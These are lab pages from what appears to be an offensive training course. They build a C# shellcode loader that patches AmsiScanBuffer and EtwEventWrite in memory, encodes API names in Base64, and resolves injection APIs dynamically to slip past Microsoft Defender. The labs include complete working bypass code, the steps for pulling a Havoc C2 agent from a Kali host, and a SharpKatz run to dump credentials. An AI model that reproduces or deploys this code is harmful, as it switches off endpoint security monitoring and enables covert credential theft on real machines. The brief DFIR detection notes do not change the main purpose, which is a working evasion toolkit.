We can attack AMSI in .net applications by patching the AmsiScanBuffer function, which is responsible for scanning buffers for malicious content. By modifying this function to always return a success code, we can effectively disable AMSI's scanning capabilities.

We can also attack other Amsi functions, such as AmsiInitialize, but AmsiScanBuffer is the most direct way to neutralize AMSI's scanning functionality.

In the next lab we'll implement this patch in our AMSIETWLoader, ensuring that AMSI is loaded early and patched before any scanning can occur. Here's a preview of the AMSI patch code we'll use:

image

Visually this looks like this:

image

Le's have a look in a debugger at the AmsiScanBuffer function in our AMSIETWLoader before patching:

image

After applying our AMSI patch, we can see that the AmsiScanBuffer function has been modified to always return (0xC3) a success code (0), effectively disabling AMSI's scanning capabilities:

image

Advantages of Patching AMSI in .NET Applications in your loader

  1. Early Neutralization: By forcing AMSI to load early in the process, we ensure that our patch is applied before any scanning can occur. This is crucial for .net applications where AMSI is not loaded by default.
  2. Comprehensive Coverage: Patching AmsiScanBuffer ensures that all subsequent scanning attempts by AMSI are neutralized, allowing your RemoteLoader app to operate without interference.
  3. Dependency Agnostic: Many shellcode generators (Havoc C2, Donut etc...) allow adding an AMSI/ETW stubs to the generated shellcode. This means they are static patches that could be detected easily or even fixed by Microsoft in future updates. By patching AMSI in your loader, you avoid relying on potentially fragile shellcode modifications. It also allows you to use standard shellcode without modifications, and to swap out patching techniques as needed.
  4. Less Telemetry Noise: By patching AMSI/ETW early on, you reduce the chances of generating suspicious telemetry events that could arise from other evasion techniques. This helps keep your operations stealthy and less likely to be flagged by security monitoring tools.
  5. Signature Evasion: Static AMSI patches in shellcode can be detected by signature-based defenses. By implementing the patch in your loader, you can avoid using static signatures, making it harder for defenders to identify your evasion techniques. Remember signatures might get updated, and our previous tricks with simple byte changes to evade signatures might not work forever.

Lab - AMSI/ETW Remote Loader

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

In this lab we'll be add 2 additional features to our previous RemoteLoader:

  1. We'll add an AMSI bypass to the loader, so we can execute dotnet assemblies like SharpKatz from Havoc,
  2. And we'll add an ETW bypass to the loader, to evade detection by EDR's that use ETW for monitoring.

HINT: Remember that AMSI will behave differently with .net assemblies than it would when using powershell scripts. In a powershell script amsi.dll is automatically loaded into powershell, with dotnet assemblies AMSI will interact with the CLR on demand.


OVERVIEW SOURCE CODE

SOURCE CODE LOCATION: "C:\THEV\Labs\AMSIETWLoader\AMSIETWLoader.sln"
                        ├── AMSIETWLoader.cs   -> Our main program
                        ├── ShellcodeDecoder.cs
                        ├── StagedLoader.cs
                        ├── RetrieveXORkey.cs
                        ├── AMSIBypass.cs  -> A new class for bypassing AMSI
                        └── ETWPatch.cs  -> A new class for bypassing ETW

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_AMSIETWLoader"

LAB SOLUTION: "C:\THEV\Labs\Lab_AMSIETWLoader\SOLUTION" -> In case you get stuck,
this has all the proper code, shellcode and binaries.

LAB EXERCISE TASKS

StepActionDescription
1.Turn Defender ONWe want to see if our POC code gets detected
2.Add AMSI Bypass moduleBypass AMSI scanning globally (CLR)
3.Add ETW Bypass moduleETW Patch to bypass ETW monitoring (EtwEventWrite)
4.Modify main program to call functionsCall both new classes at the beginning
5.Compile and run the codeTest the loader and make sure it works
6.ForensicsDo some forensics and compare with previous loader

1. Turn Defender ON

IMPORTANT : Make sure Windows Defender is turned ON!!!

Check if Defender is turned ON by running the checkav.ps1 script:

  • Open a powershell prompt as Administrator:
c:\thev\labs\powershell\av_check.ps1

image

  • If Defender is turned OFF - run the following script to turn it ON:
c:\thev\labs\powershell\av_enable.ps1

image

2. Add AMSI Bypass module

AMSIBypass.cs

  • In visual studio, create a new class file called AMSIBypass.cs by going to the Solution Explorer, right-click on AMSIETWLoader -> Add -> Add new class, select C# Class at the top and name the file AMSIBypass.cs.

image image

  • Delete the dummy code provided by Visual Studio and paste the following code:
// https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/#Complete_C_Code
using System;
using System.Runtime.InteropServices;
public class AmsiBypass
{
    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr LoadLibrary(string lpFileName);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesRead);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetCurrentProcess();

    private const uint PAGE_EXECUTE_READWRITE = 0x40;

    public static void Patch()
    {
        Console.ForegroundColor = ConsoleColor.Green;
        IntPtr hAmsi = LoadLibrary("amsi.dll");
        if (hAmsi == IntPtr.Zero)
        {
            Console.WriteLine($"LoadLibrary failed for amsi.dll: {Marshal.GetLastWin32Error()}");
            return;
        }
        IntPtr amsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
        if (amsiScanBuffer == IntPtr.Zero)
        {
            Console.WriteLine($"GetProcAddress failed for AmsiScanBuffer: {Marshal.GetLastWin32Error()}");
            return;
        }
        uint oldProtect;
        Console.WriteLine($"[+]    Patching AmsiScanBuffer in amsi.dll at {amsiScanBuffer.ToInt64():X}");
        if (!VirtualProtect(amsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, out oldProtect))
        {
            Console.WriteLine($"VirtualProtect failed at {amsiScanBuffer.ToInt64():X}: {Marshal.GetLastWin32Error()}");
            return;
        }
        byte[] ret = { 0xC3 }; // ret instruction
        if (!WriteProcessMemory(GetCurrentProcess(), amsiScanBuffer, ret, ret.Length, out int bytesWritten))
            Console.WriteLine($"WriteProcessMemory failed at {amsiScanBuffer.ToInt64():X}: {Marshal.GetLastWin32Error()}");
        else
        {
            Console.WriteLine($"[+]    Successfully patched AmsiScanBuffer in amsi.dll at {amsiScanBuffer.ToInt64():X}");
            // Verify patch
            byte[] verifyBuffer = new byte[ret.Length];
            if (ReadProcessMemory(GetCurrentProcess(), amsiScanBuffer, verifyBuffer, verifyBuffer.Length, out int bytesReadVerify) &&
                verifyBuffer[0] == 0xC3)
                Console.WriteLine($"[+]    Patch verified at {amsiScanBuffer.ToInt64():X}: ret instruction");
            else
                Console.WriteLine($"Patch verification failed at {amsiScanBuffer.ToInt64():X}: not ret instruction");
        }
        VirtualProtect(amsiScanBuffer, 1, oldProtect, out _);
    }
}

3. Add ETW Bypass module

ETWPatch.cs

  • In visual studio, create a new class file called ETWPatch.cs by going to the Solution Explorer, right-click on AMSIETWLoader -> Add -> Add new class, select C# Class at the top and name the file ETWPatch.cs.

image image

  • Delete the dummy code provided by Visual Studio and paste the following code:
using System;
using System.Runtime.InteropServices;
public static class ETWPatch
{
    [DllImport("kernel32")]
    static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    public static void Patch()
    {
        var sp = Convert.FromBase64String("RXR3RXZlbnRXcml0ZQ=="); //EtwEventWrite
        string decodedSp = System.Text.Encoding.UTF8.GetString(sp);
        var ad = Convert.FromBase64String("bnRkbGwuZGxs"); //ntdll.dll
        string decodedAd = System.Text.Encoding.UTF8.GetString(ad);
        var lib = LoadLibrary(decodedAd);
        var myvar = GetProcAddress(lib, Convert.ToString(decodedSp));

        byte[] bypass = { 0xC3 }; //Cause EtwEventWrite to return

        var p = bypass;
        VirtualProtect(myvar, (UIntPtr)p.Length, 0x3F + 0x01, out uint oldProtect);

        Marshal.Copy(p, 0, myvar, p.Length);
        VirtualProtect(myvar, (UIntPtr)p.Length, oldProtect, out uint _);
        Console.ForegroundColor = ConsoleColor.Green;
        Console.WriteLine("[+]    ETW Patched!!!");
    }
}

4: Call the new classes in our main program (AMSIETWLoader.cs)

Let's start with calling the AmsiBypass to patch AMSI globally (CLR patch).

  • Open AMSIETWLoader.cs and paste the code at the top of our main() method, right under the Console.ReadKey(); line:

image

            // AMSI Bypass CLR

            Console.WriteLine($"[-] Attempting AMSI (CLR) bypass...");
            AmsiBypass.Patch();
            Console.WriteLine("[+]    AMSI bypass executed!!!");
            WriteColored(($"---> Press Any Key to continue"), ConsoleColor.Red);
            Console.ReadKey();
  • And right under that, paste the code to call the ETWPatch class to patch ETW (EtwEventWrite).
            // ETW Patch (ETWEventWrite)

            Console.WriteLine("[-] Attempting ETW (ETWEventWrite) patch...");
            ETWPatch.Patch();

Your code should look like this:

image

5 : Compile and run the code

  • Compile your code and copy your AMSIETWLoader.exe to the desktop of your windows machine.

image

NOTE: On your kali machine make sure updog is running in the "/opt/Havoc/payloads" directory to serve the payload over HTTPS ("updog2 --ssl"). And remove any previous havoc sessions by marking them as dead and then remove them.

  • Run (double-click) the AMSIETWLoader.exe on your windows machine to get a new Havoc agent with the AMSI/ETW bypasses:

image


Let's see if we now can dump credentials with SharpKatz by using the dotnet inline-execute command in Havoc.

  • In your Havoc GUI right-click on your Havoc agent and select Interact, use the command line below to execute SharpKatz:

image

dotnet inline-execute /opt/Havoc/assemblies/SharpKatz.exe

image

NOTE: When copy pasting this in the Havoc GUI, we noticed the paste added some spaces at the end of the command, make sure to remove those spaces.

It worked, so we have successfully bypassed AMSI! Let's double check the Defender logs to see if anything was detected.

Get-MpThreatDetection | Sort-Object InitialDetectionTime -Descending | Select-Object -First 1

image

The advantage of patching AMSI in the loader is that all payloads executed in the same process will benefit from the AMSI bypass, so you can run multiple dotnet assemblies like SharpKatz, Seatbelt, etc. without having to add the AMSI bypass to each individual payload.


6. Forensics

PESTUDIO/CAPA/LITTERBOX

image

We can see here that the AMSI bypass is detected by CAPA, but not the ETW bypass. We need to make sure we obfuscate strings like AmsiScanBuffer, Amdi.dll and AmsiInitialize to evade static detection. Also the VirtualAlloc RWX and CreateThread calls are detected, so we need to make sure we obfuscate those as well, we will do the latter in the next lab with D/Invoke.


NOTE: We are implementing AMSI and ETW bypasses in the loader itself, but you can also implement these bypasses in your shellcode. Havoc's payload generator has options to add these bypasses to your shellcode payloads. Same thing with donut it has the capability to add AMSI and ETW bypasses to your shellcode payloads in the form of stubs. Having the AMSI/ETW bypasses in the shellcode makes it more portable and you can use it in other scenarios like process injection or process hollowing, on the other side having them in the loader makes the loader more versatile as it can load any shellcode payload, it also makes the loader stealthier as it's disabling AMSI/ETW globally for the entire process (so the loader's activity itself is bypassing potential AMSI scan, and prevent ETW logging events), making it less likely to be detected. If you have multiple payloads running in the same process, having the bypasses in the loader means that all payloads will benefit from the bypasses, which might not be desirable in some scenarios.

Analysis: AMSI/ETW Bypass Implementation Strategy

Key Findings:

Implementation Location Trade-offs

Whether to implement AMSI/ETW bypasses in the loader or the shellcode is a critical tactical decision point depending on the operational context. Below is a comparative analysis of both approaches:

Implementation LocationAdvantagesDisadvantagesDFIR Detection Vector
Loader-based Bypasses• Global process protection
• Payload-agnostic
• Single implementation point
• Stealth enhancement for loader itself
• Less portable
• Single point of failure
• May affect unintended payloads
• Memory forensics can identify patched functions
• Process behavior analysis shows suspicious API modifications
Shellcode-embedded Bypasses• Highly portable
• Self-contained payloads
• Works across injection methods
• Granular control per payload
• Larger payload size
• Multiple implementation overhead
• Limited global protection
• Shellcode analysis reveals bypass code
• Network signatures for bypass patterns

Strategic Implications

From a Red Team Perspective:

  • Operational Flexibility: Loader-based bypasses provide tactical advantage when deploying multiple tools (SharpKatz, etc.) through same process
  • OPSEC Consideration: Global bypasses reduce detection surface for the loader's own activities
  • Payload Management: Enables use of "clean" payloads without embedded bypass code

From a DFIR Perspective:

  • Detection Strategy: Focus on monitoring for VirtualProtect calls targeting AMSI/ETW functions
  • Memory Analysis: Look for patched AmsiScanBuffer (0xC3 ret instruction) and EtwEventWrite functions
  • Behavioral Indicators: Processes loading AMSI.dll but showing no AMSI events in logs

Technical Observations

  1. Bypass Quality: The implementation shows sophisticated understanding:

    • Proper memory protection management
    • Function address resolution
    • Return instruction patching (0xC3)
  2. Evasion Techniques:

    • Base64 encoding of function names (RXR3RXZlbnRXcml0ZQ== = EtwEventWrite)
    • Runtime string decoding to avoid static signatures
  3. Operational Security: The choice between implementation locations directly impacts:

    • Attribution: Embedded bypasses in shellcode can be fingerprinted
    • Persistence: Global bypasses affect entire process lifetime
    • Forensic Recovery: Different artifact patterns for each approach

Recommendation

For mature red team operations, hybrid approach is optimal:

  • Use loader-based bypasses for initial foothold and tool deployment
  • Switch to shellcode-embedded bypasses for specific high-value operations requiring maximum stealth
  • Consider environmental factors (EDR vendor, monitoring capabilities) when choosing implementation strategy

This demonstrates advanced understanding of the operational vs. tactical trade-offs inherent in bypass deployment strategies.

Differences in Memory Analysis Between Shellcode Stubs and Loaders

While the core artifact of AMSI/ETW patching (e.g., modified code in amsi.dll or ntdll.dll) is similar for both shellcode stubs and loaders, the implementation context creates variances in what memory forensics reveals. Below are the key differences:

  1. Delivery and Initial Footprint:

    • Shellcode with Patch Stub: Shellcode is typically injected directly into a process (e.g., via CreateRemoteThread or APC queues) without a disk-based file. The patch stub executes early, often with minimal API calls (e.g., using direct syscalls to avoid hooks). This results in a smaller initial footprint, primarily limited to injected memory regions (e.g., RWX pages).
    • Loader Implementation: Loaders are often disk-based executables or use reflective loading. They rely on WinAPI calls like VirtualProtect and WriteProcessMemory to apply patches, generating more behavioral artifacts (e.g., ETW events for memory operations if ETW isn't yet disabled). Disk-based loaders may leave traces like prefetch files or shimcache entries.

    Analysis Impact: Shellcode is "fileless," so detection relies on memory patterns (e.g., shellcode signatures, anomalous RWX regions). Loaders provide additional disk-based artifacts, making it easier to correlate memory patches with a specific executable.

  2. Timing and Cleanup:

    • Shellcode: Patches may be ephemeral, applied just before payload execution and potentially undone afterward (e.g., via sleep masks or cleanup routines). Early ETW patching minimizes logging, reducing runtime artifacts.
    • Loader: Patches are typically persistent throughout the process's lifetime, as loaders rarely clean up modifications. This leaves clearer evidence like copy-on-write (CoW) pages or inline hooks.

    Analysis Impact: Shellcode patches might evade runtime detection if cleaned, but memory dumps capture the modified state at the time of acquisition. Loaders' heavier use of APIs can leave partial ETW or AMSI logs if patching occurs after initial execution.

  3. Scope and Process Context:

    • Shellcode: Often injected into a legitimate process (e.g., explorer.exe), making patches appear in unexpected process contexts. This requires broader memory scans across multiple processes.
    • Loader: May run in its own process or inject into others, often involving CLR/.NET for C# payloads, which adds artifacts like assembly load events or .NET metadata.

    Analysis Impact: Detection techniques are similar (e.g., scanning for CoW or hooks), but shellcode blends into benign processes, necessitating more comprehensive process enumeration. Loaders’ process context may be more explicit, especially if disk-based.

  4. Advanced Bypasses and Evasion:

    • Shellcode: Frequently employs "patchless" techniques (e.g., hardware breakpoints via NtSetContextThread to trap AMSI/ETW calls without modifying code). These are harder to detect via traditional integrity checks but can be identified through thread context or exception handler analysis.
    • Loader: More likely to use traditional patching (e.g., overwriting function prologues), which is easier to detect via code integrity checks but may include anti-forensic techniques like unhooking EDR.

    Analysis Impact: Both require advanced detection (e.g., syscall monitoring for patchless bypasses), but shellcode’s stealthier approach may prioritize evasion over persistence, while loaders focus on robust execution.

In short - having the bypasses in the loader give us more flexibility:

  • Attack frameworks that generate shellcode payloads (like Sliver or Havoc) or shellcode generators (like Donut) have a static AMSI/ETW bypass stub that is added to the shellcode, so if you want to change the bypass technique you need to modify the framework's source code and recompile it. Having the bypasses in the loader means that you can change the bypass technique in one place (the loader) without having to modify the shellcode generation process. This static stub might be detected by EDR solutions, so having the bypasses in the loader means that you can use any shellcode payload (even ones that don't have a bypass stub) and still benefit from the bypasses. It also means that you can update the bypass technique in the loader without having to regenerate all your shellcode payloads, in case the current bypass technique gets doesn't work anymore

  • Having the bypasses in the shellcode means that you can use the shellcode in other scenarios -like process injection or process hollowing (which we are not covering in the class) without having to rely on the loader. This makes the shellcode more portable and versatile. But if you want to use the shellcode in a scenario where you don't have control over the loader (like injecting into a process that you don't own), then having the bypasses in the shellcode is necessary.

Synopsis Table

AspectShellcode with Patch StubLoader Implementation
DeliveryFileless, injected (e.g., via CreateRemoteThread). Minimal API use, often syscalls.Disk-based or reflective. Uses WinAPI (e.g., VirtualProtect), generating more artifacts.
FootprintLimited to RWX memory regions, harder to trace to a source.Disk artifacts (e.g., prefetch), API call logs, clearer process attribution.
Patch PersistenceOften ephemeral, may clean up post-execution (e.g., sleep mask).Typically persistent, leaves CoW pages or hooks for process lifetime.
Process ContextInjected into benign processes (e.g., explorer.exe), blends in.Own process or injected, often with CLR/.NET artifacts for C# payloads.
Evasion TechniquesPatchless bypasses (e.g., hardware breakpoints), stealth-focused.Traditional patches, may include EDR unhooking, less stealthy but robust.
Detection FocusMemory scans for RWX, thread contexts, exception handlers. Requires broader process checks.Memory scans plus disk artifacts, API logs, process creation events.

During our forensics we still could see the VirtualProtect WriteProcessMemory and CreateThread imports in the import table, which could be a detection vector, we're going to fix this by using D\INVOKE in the next lab. This will dynamically resolve those functions at runtime, so they won't be visible in the import table anymore. If an AVD/EDR (Microsoft Defender and MDE do not hook functions, they relay on ETW telemetry, call stack analysis and Kernel callbacks - we won't be dealing with these during this training as we only have 2 days, but who knows in the future an extra module might be published :)) hooks those functions, we might still get detected, but at least they won't be visible in the import table anymore.

Additionally you might have noticed our code has duplicate code for loading libraries and getting function addresses, in the next lab we're going to refactor this into a NativeMethods class that can be reused by all classes. This will make our code cleaner and easier to maintain.

Lab - D/INVOKE Loader

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

EXPLAIN D/INVOKE

DInvoke (Dynamic Invoke)

  • Definition: A technique to dynamically resolve and call unmanaged functions at runtime, avoiding static imports (IAT).
  • How It Works: Gets a handle on loaded DLLs (using GetModuleHandle) and resolves function addresses (e.g., via GetProcAddress) at runtime, often using reflection or memory manipulation.
  • Usage in Shellcode Loader: Dynamically resolves VirtualAlloc, WriteProcessMemory, etc., from kernel32.dll, avoiding static references in the binary.
  • Pros:
    • Stealthier, as it avoids static import tables, evading antivirus/EDR detection.
    • Flexible for runtime manipulation to bypass defenses.
  • Cons:
    • More complex, requiring manual DLL/function resolution.
    • Detectable by advanced behavioral analysis.

Key Difference in Context with P/Invoke:

  • P/Invoke: Uses static [DllImport] declarations for simpler Win32 API calls but is more detectable by security tools, these will show up in the IAT of the binary.

image

  • DInvoke: Dynamically resolves APIs at runtime, reducing the binary's footprint and improving evasion, critical for discreet shellcode execution in malicious or red-team scenarios.

OPSEC HINT: When using D/INVOKE (Dynamic Invoke) - you can use a nuget package in Visual Studio, however that import will most likely flag AV/EDR, so instead of being lazy we'll implement our own D/INVOKE.

So far our code uses the following methods to call Windows API functions:

  • GetCurrentProcess*
  • VirtualAlloc*
  • WriteProcessMemory*
  • CreateRemoteThread*
  • WaitForSingleObject*

And in AMSI/ETW bypass labs we 4 added new functions:

  • LoadLibrary*
  • GetProcAddress
  • VirtualProtect*
  • ReadProcessMemory*

These methods are all imported using P/Invoke, which is a powerful feature of .NET that allows managed code to call unmanaged functions implemented in DLLs. However, P/Invoke has some drawbacks:

  • It leaves a clear signature in the Import Address Table (IAT) of the binary, which can be easily detected by static analysis tools and antivirus software.
  • The IAT can be hooked or monitored by security products, which can interfere with the execution of the code.

To mitigate these issues, we can use a technique called D/Invoke (Dynamic Invoke), which allows us to dynamically resolve and call unmanaged functions at runtime without leaving a trace in the IAT. This approach involves using the GetModuleHandle and GetProcAddress functions to retrieve the function pointers we need in our code, which can then be invoked using delegates.

We'll need to create a few helper classes to manage the dynamic loading and invocation of functions. We're also going to move the DLLImports to a separate class. Here's a basic outline of how we can implement this:

  1. Create a Win32Imports class: This class will contain the P/Invoke declarations for GetModuleHandle and GetProcAddress, which are needed to dynamically load other functions.
  2. Create a DelegateHelper class: This class will provide methods to resolve function pointers and convert them to delegates.
  3. Create a Win32Delegates class: This class will define delegate types for the functions we want to call and provide static properties to access them.
  4. Update the main code: Replace all P/Invoke calls with calls to the delegates defined in Win32Delegates.

The project structure will look like this:

SOURCE CODE LOCATION: "C:\THEV\Labs\DInvokeLoader\DInvokeLoader.sln"
                        ├── DInvokeLoader.cs   -> Our main program
                        ├── ShellcodeDecoder.cs
                        ├── StagedLoader.cs
                        ├── RetrieveXORkey.cs
                        ├── AMSIBypass.cs
                        ├── ETWPatch.cs
                        ├── Win32Imports.cs   -> Moved P/Invoke declarations here
                        ├── Win32Delegates.cs   -> Define delegates for Win32 functions
                        └── DelegateHelper.cs   -> Helper class to bind delegates dynamically
                        

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_DInvokeLoader"
                         ├── DInvokeLoaderDetected.exe
                         ├── DInvokeLoaderDetectedToo.exe
                         ├── DInvokeLoaderNotDetected.exe
                         ├── DInvokeLoaderFinal.exe
                         └── XORFunctionHasher.exe

LAB SOLUTION: "C:\THEV\Labs\Lab_DInvokeLoader\SOLUTION" -> In case you get stuck,
this has all the proper code, shellcode and binaries.

IMPORTANT : In order to save some time and prevent boring repetition, we've already created the Win32Imports.cs, DelegateHelper.cs, and Win32Delegates.cs files for you and provided all the necessary code. You can find these files in the project directory. We have also updated the DInvokeLoader.cs, AMSIBypass.cs, and ETWPatch.cs files to use the new dynamic delegates. Your task is to understand how the D/Invoke mechanism works and how it improves the stealthiness of our loader, not to find and replace all the P/Invoke calls manually :).

Step 1: Created and moved P/Invoke Declarations to Win32Imports.cs

We have removed the P/Invoke declarations from DInvokeLoader.cs, AMSIBypass.cs, and ETWPatch.cs to a new class named Win32Imports. This class will only contain the P/Invoke declarations for GetModuleHandle and GetProcAddress, which are essential for dynamically loading other functions.

using System;
using System.Runtime.InteropServices;
public static class Win32Imports
{
    // P/Invoke for GetModuleHandle and GetProcAddress
    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    public static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
}

Step 2: Create DelegateHelper.cs

The delegate helper class will provide a method to resolve function pointers and convert them to delegates, basically looking up the function address and creating a delegate for it. For example, to resolve VirtualAlloc, we will use GetModuleHandle to get the handle of kernel32.dll, then use GetProcAddress to get the address of VirtualAlloc, and finally use Marshal.GetDelegateForFunctionPointer to convert that address into a delegate of the appropriate type. That pointer then is used to call the function when we use the delegate (e.g., Win32Delegates.DVAlloc(...)).

Then we have created a new file named DelegateHelper.cs to manage the binding of delegates to function pointers.

using System;
using System.Runtime.InteropServices;

public static class DelegateHelper
{
    // Generic helper to resolve an API by name and return it as a delegate
    public static T GetFunctionDelegate<T>(string moduleName, string functionName) where T : Delegate
    {
        IntPtr moduleHandle = Win32Imports.GetModuleHandle(moduleName);
        if (moduleHandle == IntPtr.Zero)
        {
            throw new Exception($"Failed to get handle for {moduleName}");
        }

        IntPtr functionAddress = Win32Imports.GetProcAddress(moduleHandle, functionName);
        if (functionAddress == IntPtr.Zero)
        {
            throw new Exception($"Failed to get address for {functionName}");
        }

        return Marshal.GetDelegateForFunctionPointer<T>(functionAddress);
    }
}

Step 3: Create Win32Delegates.cs

We have created a new file named Win32Delegates.cs to define the delegate types for the functions we want to call. Basically we define a delegate type for each function signature, and then we create static properties to hold the resolved delegates. In the static constructor of the class, we use the DelegateHelper to resolve each function and assign it to the corresponding property.

using System;

public static class Win32Delegates
{
    // Delegate definitions
    [System.Runtime.InteropServices.UnmanagedFunctionPointer(System.Runtime.InteropServices.CallingConvention.StdCall)]
    public delegate IntPtr DVAllocDelegate(
        IntPtr lpAddress,
        uint dwSize,
        uint flAllocationType,
        uint flProtect);

    [System.Runtime.InteropServices.UnmanagedFunctionPointer(System.Runtime.InteropServices.CallingConvention.StdCall)]
    public delegate IntPtr DCThreadDelegate(
        IntPtr lpThreadAttributes,
        uint dwStackSize,
        IntPtr lpStartAddress,
        IntPtr lpParameter,
        uint dwCreationFlags,
        out uint lpThreadId);

    [System.Runtime.InteropServices.UnmanagedFunctionPointer(System.Runtime.InteropServices.CallingConvention.StdCall)]
    public delegate uint DWFSObjectDelegate(
        IntPtr hHandle,
        uint dwMilliseconds);

    [System.Runtime.InteropServices.UnmanagedFunctionPointer(System.Runtime.InteropServices.CallingConvention.StdCall)]
    public delegate bool DWPMemoryDelegate(
        IntPtr hProcess,
        IntPtr lpBaseAddress,
        byte[] lpBuffer,
        uint nSize,
        out IntPtr lpNumberOfBytesWritten);

    [System.Runtime.InteropServices.UnmanagedFunctionPointer(System.Runtime.InteropServices.CallingConvention.StdCall)]
    public delegate IntPtr DGCProcessDelegate();

    [System.Runtime.InteropServices.UnmanagedFunctionPointer(System.Runtime.InteropServices.CallingConvention.StdCall)]
    public delegate bool DVProtectDelegate(
        IntPtr lpAddress,
        uint dwSize,
        uint flNewProtect,
        out uint lpflOldProtect);

    [System.Runtime.InteropServices.UnmanagedFunctionPointer(System.Runtime.InteropServices.CallingConvention.StdCall)]
    public delegate IntPtr DLLibraryDelegate(
        string lpFileName);

    [System.Runtime.InteropServices.UnmanagedFunctionPointer(System.Runtime.InteropServices.CallingConvention.StdCall)]
    public delegate bool DRPMemoryDelegate(
        IntPtr hProcess,
        IntPtr lpBaseAddress,
        byte[] lpBuffer,
        uint dwSize,
        out IntPtr lpNumberOfBytesRead);

    // Resolved delegate instances
    public static readonly DVAllocDelegate DVAlloc;
    public static readonly DCThreadDelegate DCThread;
    public static readonly DWFSObjectDelegate DWFSObject;
    public static readonly DWPMemoryDelegate DWPMemory;
    public static readonly DGCProcessDelegate DGCProcess;
    public static readonly DVProtectDelegate DVProtect;
    public static readonly DLLibraryDelegate DLLibrary;
    public static readonly DRPMemoryDelegate DRPMemory;

    static Win32Delegates()
    {
        DVAlloc = DelegateHelper.GetFunctionDelegate<DVAllocDelegate>("kernel32.dll", "VirtualAlloc");
        DCThread = DelegateHelper.GetFunctionDelegate<DCThreadDelegate>("kernel32.dll", "CreateThread");
        DWFSObject = DelegateHelper.GetFunctionDelegate<DWFSObjectDelegate>("kernel32.dll", "WaitForSingleObject");
        DWPMemory = DelegateHelper.GetFunctionDelegate<DWPMemoryDelegate>("kernel32.dll", "WriteProcessMemory");
        DGCProcess = DelegateHelper.GetFunctionDelegate<DGCProcessDelegate>("kernel32.dll", "GetCurrentProcess");
        DVProtect = DelegateHelper.GetFunctionDelegate<DVProtectDelegate>("kernel32.dll", "VirtualProtect");
        DLLibrary = DelegateHelper.GetFunctionDelegate<DLLibraryDelegate>("kernel32.dll", "LoadLibraryA");
        DRPMemory = DelegateHelper.GetFunctionDelegate<DRPMemoryDelegate>("kernel32.dll", "ReadProcessMemory");
    }
}

Step 4: Updated DInvokeLoader.cs, AMSIBypass.cs and ETWPatch.cs to use Dynamic Delegates

Our functions are now in Win32Delegates class, so we need to update our calls in DInvokeLoader.cs, AMSIBypass.cs, and ETWPatch.cs as shown in the table below:

Here's a summary of the changes:

FunctionNew LocationLoaderAMSIETW
VirtualAllocWin32Delegates.DVAlloc✅
WriteProcessMemoryWin32Delegates.DWPMemory✅✅✅
CreateThreadWin32Delegates.DCThread✅
WaitForSingleObjectWin32Delegates.DWFSObject✅
GetCurrentProcessWin32Delegates.DGCProcess✅✅✅
VirtualProtectWin32Delegates.DVProtect✅✅
LoadLibraryAWin32Delegates.DLLibrary✅✅
ReadProcessMemoryWin32Delegates.DRPMemory✅
GetProcAddressWin32Imports.GetProcAddress✅✅

Step 5: Build and do forensics on our new D/Invoke Loader

NOTE: You can find a compiled version of the D/Invoke loader in the C:\THEV\Labs\Lab_DInvokeLoader\DInvokeLoaderDetected.exe directory.

  • Let's scan our new D/Invoke loader with PE Studio and see the difference in imports compared to our previous P/Invoke loader.

image

  • Go to the Imports section:

image

Compared to our previous AMSIETWloader.exe, we can see that the imports related to memory manipulation and process injection (VirtualAlloc, WriteProcessMemory, CreateThread) are no longer present in the IAT, which is a good sign.

image

  • Open a command prompt as Administrator and let's run a GoCheck64.exe scan:
cd C:\THEV\Labs\Lab_DInvokeLoader
gocheck64.exe DInvokeLoaderDetected.exe --defender

image

Surprisingly, GoCheck64 detects some suspicious (2) characteristics, but CAPA does not find any capabilities related to process injection or memory manipulation (it does find the Amsi Bypass because we didn't obfuscate AmsiScanBuffer), which is a good sign. So why is Defender detectting our code as malicious - we are having a ton of strings in our binary that are related to process injection and memory manipulation, even though we are not using P/Invoke anymore. So Defender is likely using a combination of static and dynamic analysis to identify potentially malicious behavior based on these strings.

  • It's actually the AmsiScanBuffer string that is likely triggering the first detection, as it is a well-known function used in AMSI bypass techniques. Even though we are not using it directly in our code, its presence in the binary can raise suspicion. We'll Base64 encode the AmsiScanBuffer string (aFunctionNameBase64 -> aFunctionName)to see if that helps evade detection.

image

NOTE: You can find a compiled version of the D/Invoke loader with the AmsiScanBuffer string obfuscated in the C:\THEV\Labs\Lab_DInvokeLoader\DInvokeLoaderDetectedToo.exe directory.

  • Open a command prompt as Administrator and let's run another GoCheck64.exe scan:
cd C:\THEV\Labs\Lab_DInvokeLoader
gocheck64.exe DInvokeLoaderDetectedToo.exe --defender

image

